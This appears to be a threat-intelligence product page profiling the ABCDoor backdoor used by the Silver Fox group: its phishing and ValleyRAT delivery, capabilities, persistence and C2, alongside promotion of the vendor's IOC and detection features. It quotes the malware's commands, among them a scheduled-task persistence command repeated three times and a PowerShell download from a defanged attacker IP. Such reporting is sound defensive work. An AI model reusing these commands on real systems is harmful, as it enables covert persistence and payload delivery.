Loading malware…
ABCDoor is a Python-based backdoor associated with the China-linked Silver Fox threat group. It has been in the group’s arsenal since at least late 2024 and has been used in real-world intrusions since the first quarter of 2025. The malware was publicly identified during phishing campaigns targeting organizations in Russia and India, including entities in industrial, consulting, retail or trade, transportation, and other business sectors.
ABCDoor has most notably been delivered as a later-stage payload through custom ValleyRAT plugins, following initial infection chains that used tax-themed phishing lures and a modified RustSL loader to deploy ValleyRAT. Reporting also indicates Silver Fox has used multiple delivery ecosystems around this malware over time, including JavaScript-based loaders and archive-based distribution, but the strongest corroborated pattern is delivery via ValleyRAT in phishing-led campaigns.
The malware provides broad remote access and surveillance functionality on compromised Windows systems. Documented capabilities include system information collection, file upload and download, file-system operations, process management, clipboard theft, keylogging, remote mouse and keyboard control, screenshot capture, and near-real-time streaming of multiple victim screens. It also supports self-update and self-removal, enabling operators to maintain and adapt access over time.
ABCDoor communicates with command-and-control infrastructure over HTTPS using Socket.IO and has been observed packaged with a bundled Python runtime. It has also been deployed alongside tooling used for screen capture and broadcasting. For persistence, ABCDoor has been observed using both a Windows Run key and a scheduled task configured to relaunch it regularly. The malware has been disguised to resemble legitimate software components in order to reduce user suspicion and blend into the host environment.
Overall, ABCDoor is a full-featured backdoor used by Silver Fox as part of multi-stage intrusion chains that combine phishing, loader customization, geofencing, and modular payload delivery to support espionage and broader post-compromise operations.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
This infrastructure was independently documented by Kaspersky as a ValleyRAT C2 server associated with the SilverFox ABCDoor campaign.
27 distinct techniques documented for this family, organized by ATT&CK tactic.
The activity involved using phishing emails that mimic correspondence from the Income Tax Department of India in December 2025, followed by a similar campaign aimed at Russian entities.
В планировщике задач. Для этого зловред выполняет следующую команду: cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"
С помощью PowerShell: powershell.exe -Command ... Invoke-WebRequest -Uri 'hxxp://154.82.81[.]205/YD20251001143052.zip' ...
После загрузки DLL-модуль распаковывает архив ... и запускает файл update.bat посредством следующей команды: cmd.exe /c "C:\Users\<user>\AppData\Local\appclient\update.bat"
Скопировав файлы, скрипт запускает Python-модуль appclient с помощью легитимного инструмента pythonw: start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient
В планировщике задач. Для этого зловред выполняет следующую команду: cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"
В планировщике задач. Для этого зловред выполняет следующую команду: cmd.exe /c "schtasks /create /sc minute /mo 1 /tn "AppClient" /tr "<path_to_pythonw.exe> -m appclient" /f"
оригинальная версия RustSL по умолчанию шифрует все строки и добавляет мусорные инструкции для усложнения анализа... Запускаемый JS-скрипт сильно обфусцирован
The loader is disguised with a PDF or Excel file icon to avoid raising suspicion.
ABCDoor is able to stay hidden for extended periods while quietly collecting screen data, exfiltrating clipboard contents, managing files, and emulating mouse and keyboard input on the victim’s machine.
Бэкдор построен на основе Python-библиотек asyncio и Socket.IO. Он взаимодействует с C2 по протоколу HTTPS
99 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
8 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A backdoor/campaign malware mentioned only as part of a separate infrastructure overlap and not linked operationally to the main activity described.
Ранее недокументированный Python-бэкдор для удалённого управления системой, кейлоггинга, загрузки и скачивания файлов, доступа к буферу обмена, самообновления и трансляции нескольких экранов жертвы почти в реальном времени.
A malware family listed as part of Silver Fox's expanding arsenal.
ABCDoor is a newly documented Python-based backdoor compiled with Cython 3.0.7. It is delivered through a custom ValleyRAT plugin, installed with a bundled Python environment, and abuses ffmpeg.exe for screen capture and broadcasting. It persists via the Windows Run key and a scheduled task named 'AppClient,' hides under C:\ProgramData\Tailscale, and can collect screen data, exfiltrate clipboard contents, manage files, and emulate mouse and keyboard input.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.